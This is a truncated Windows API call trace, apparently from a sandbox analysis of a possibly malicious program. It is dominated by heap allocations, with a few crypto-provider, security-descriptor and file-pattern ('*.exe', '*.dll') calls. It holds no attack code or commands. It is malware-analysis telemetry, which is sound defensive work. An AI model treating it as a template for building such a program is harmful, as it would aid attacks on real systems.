[0193.652] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c4c8 [0193.652] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c4c8) returned 1 [0193.652] CryptAcquireContextW (in: phProv=0x37f934, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x37f934*=0x3cdd18) returned 1 [0193.682] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd0048) returned 1 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3b8d8 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3b960 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c4c8 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3b9e8 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3ba70 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c3f0 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3baf8 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c3a8 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x5000) returned 0xdd0048 [0193.682] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c360 [0193.682] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c360) returned 1 [0193.682] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0193.733] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd0048) returned 1 [0193.734] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3c8390, lpbSaclPresent=0x37f8e8, pSacl=0x37f93c, lpbSaclDefaulted=0x37f8e8 | out: lpbSaclPresent=0x37f8e8, pSacl=0x37f93c, lpbSaclDefaulted=0x37f8e8) returned 1 [0193.734] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c360 [0193.734] CreateEventA (lpEventAttributes=0x37f930, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0193.734] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c360) returned 1 [0193.734] GetLastError () returned 0x0 [0193.734] LocalFree (hMem=0x3c8390) returned 0x0 [0193.734] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c360 [0193.734] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x5000) returned 0xdd0048 [0193.734] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c318 [0193.734] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c318) returned 1 [0193.734] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0193.735] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd0048) returned 1 [0193.735] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3c8390, lpbSaclPresent=0x37f8e8, pSacl=0x37f93c, lpbSaclDefaulted=0x37f8e8 | out: lpbSaclPresent=0x37f8e8, pSacl=0x37f93c, lpbSaclDefaulted=0x37f8e8) returned 1 [0193.735] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c318 [0193.735] CreateEventA (lpEventAttributes=0x37f930, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0193.735] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c318) returned 1 [0193.735] GetLastError () returned 0x0 [0193.735] LocalFree (hMem=0x3c8390) returned 0x0 [0193.735] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c318 [0193.735] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x5000) returned 0xdd0048 [0193.735] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c2d0 [0193.735] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c2d0) returned 1 [0193.735] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd0048) returned 1 [0193.736] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3c8390, lpbSaclPresent=0x37f8e8, pSacl=0x37f93c, lpbSaclDefaulted=0x37f8e8 | out: lpbSaclPresent=0x37f8e8, pSacl=0x37f93c, lpbSaclDefaulted=0x37f8e8) returned 1 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c2d0 [0193.736] CreateEventA (lpEventAttributes=0x37f930, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c2d0) returned 1 [0193.736] GetLastError () returned 0x0 [0193.736] LocalFree (hMem=0x3c8390) returned 0x0 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2800) returned 0xdd0048 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bb80 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c2d0 [0193.736] Wow64DisableWow64FsRedirection (in: OldValue=0x37f964 | out: OldValue=0x37f964*=0x0) returned 1 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2d8) returned 1 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.736] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.736] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d600 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2b8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2a8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2d8) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2c8) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1b0) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2b8) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c168) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2a8) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d600) returned 1 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d600 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2a8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2b8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2c8) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2d8) returned 1 [0193.737] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.737] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c168) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2a8) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1b0) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2b8) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d600) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0193.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3d9d0 [0193.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c1f8, cbMultiByte=5, lpWideCharStr=0xd3d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3da58 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d9d0) returned 1 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d600 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2b8 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3d9d0 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3da58) returned 1 [0193.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3da58 [0193.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c288, cbMultiByte=5, lpWideCharStr=0xd3da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3dae0 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3da58) returned 1 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2a8 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3da58 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3dae0) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2d8) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2c8) returned 1 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.738] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.738] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.739] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d298 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.739] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d288 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.739] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x20) returned 0xd3bc08 [0193.739] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d278 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0193.739] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d268 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.739] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d258 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x20) returned 0xdd5058 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d248 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5e8 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d238 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c630 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d228 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c678 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d218 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c6c0 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d208 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c708 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1e8 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c750 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1f8 [0193.739] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c798 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2c8) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1b0) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d2d8) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c168) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d298) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d288) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d278) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d268) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d258) returned 1 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bc08) returned 1 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.740] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d258 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d268 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d278 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d288 [0193.740] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x20) returned 0xd3bc08 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d298 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5e8) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d248) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c630) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d238) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c678) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d228) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c6c0) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d218) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c708) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d208) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c750) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d1e8) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c798) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d1f8) returned 1 [0193.741] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x20) returned 0xdd5058 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1f8 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c798 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1e8 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c750 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d208 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c708 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d218 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c6c0 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d228 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c678 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d238 [0193.741] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c630 